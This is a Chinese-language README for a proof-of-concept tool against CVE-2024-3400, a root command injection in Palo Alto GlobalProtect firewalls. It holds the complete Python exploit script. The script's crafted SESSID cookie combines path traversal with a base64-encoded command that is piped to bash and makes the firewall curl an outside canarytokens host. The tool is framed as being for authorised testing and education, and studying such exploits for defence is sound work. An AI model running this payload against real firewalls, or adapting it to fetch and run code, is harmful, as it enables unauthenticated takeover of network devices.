CVE-2024-3400 PoC 工具
本项目是一个针对 CVE-2024-3400 漏洞的概念验证(Proof of Concept)脚本。CVE-2024-3400 是 Palo Alto Networks 防火墙 GlobalProtect 组件中的一个严重命令注入漏洞,允许未经身份验证的攻击者在目标系统上以 root 权限执行任意命令。
此 PoC 工具严格用于安全测试和教育目的,帮助管理员验证其系统是否受该漏洞影响。
功能特性
- 命令注入验证:通过构建特制的
SESSIDCookie 值,向目标 GlobalProtect 接口发送 GET 请求。 - Base64 编码载荷:示例载荷中包含一个经 Base64 编码的远程命令(例如反向 Shell),展示漏洞利用原理。
- 简洁的命令行接口:仅需提供目标主机地址,即可快速发起测试请求。
- 轻量级依赖:基于 Python 3 和
requests库,易于部署和执行。
安装指南
系统要求
- Python 3.6 及以上版本
pip包管理工具
依赖安装
本项目仅依赖 requests 库。您可以使用以下命令快速安装:
pip install requests
获取代码
将 Poc.py 文件下载或克隆到本地目录:
git clone https://github.com/your-repo/cve-2024-3400-poc.git
cd cve-2024-3400-poc
使用说明
基础用法
脚本通过命令行参数接收目标主机(IP 或域名),并发送验证请求。
python Poc.py <host>
示例:
python Poc.py 192.168.1.1
参数说明
host:必填参数,目标 Palo Alto 防火墙的 IP 地址或域名(无需包含https://前缀)。
典型输出
成功执行后,脚本会打印出目标服务器返回的 HTTP 响应内容。如果目标存在漏洞,SESSID 中的命令将被执行。
漏洞原理简介
脚本构造的 SESSID 载荷如下:
../../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}Y3VybCBrZ2UzZHI0ZmFmdGF2YWw1NXk4dDJ3OXVwLmNhbmFyeXRva2Vucy5jb20=|base64${IFS}-d|bash${IFS}-i`
其中 Base64 编码部分解码后为 curl kge3dr4faftaval55y8t2w9up.canarytokens.com,意在演示攻击者可让防火墙发起外连请求。
警告:该 PoC 仅用于授权环境的安全测试,请勿在未授权系统上使用。
核心代码
主脚本 Poc.py
以下为项目的核心实现代码,展示了如何通过 Cookie 注入执行命令:
import requests
import sys
def main():
# 检查命令行参数数量
if len(sys.argv) != 2:
print("Usage: python Poc.py <host>")
sys.exit(1)
# 获取目标主机地址
host = sys.argv[1]
# 构造 GlobalProtect 登录端点 URL
url = f'https://{host}/global-protect/login.esp'
# 模拟正常浏览器的请求头
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
'Accept-Encoding': 'gzip, deflate, br',
'Accept': '*/*',
'Connection': 'keep-alive'
}
# 构造恶意 Cookie,其中包含路径穿越和命令注入载荷
# 载荷中的 base64 命令解码后为:curl <canarytoken地址>
cookies = {
'SESSID': '../../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}Y3VybCBrZ2UzZHI0ZmFmdGF2YWw1NXk4dDJ3OXVwLmNhbmFyeXRva2Vucy5jb20=|base64${IFS}-d|bash${IFS}-i`'
}
# 发送带有恶意 Cookie 的 GET 请求
response = requests.get(url, headers=headers, cookies=cookies)
# 打印响应内容,用于分析结果
print(response.text)
if __name__ == "__main__":
main()
代码注释说明
- 参数解析:程序严格需要且仅需要一个参数(目标主机)。
- URL 拼接:自动添加
https://协议并指向 GlobalProtect 的登录入口。 - Cookie 载荷:
SESSID字段包含了目录遍历 (../../../../) 和命令注入 (反引号执行) 的组合,用于触发漏洞。 - 请求发送:使用 Python
requests库发送 HTTPS 请求,并输出响应体。 6HFtX5dABrKlqXeO5PUv/4UGIQshB1lKgLEfRzPjZQag9owg7WlugUna8oRrbLxf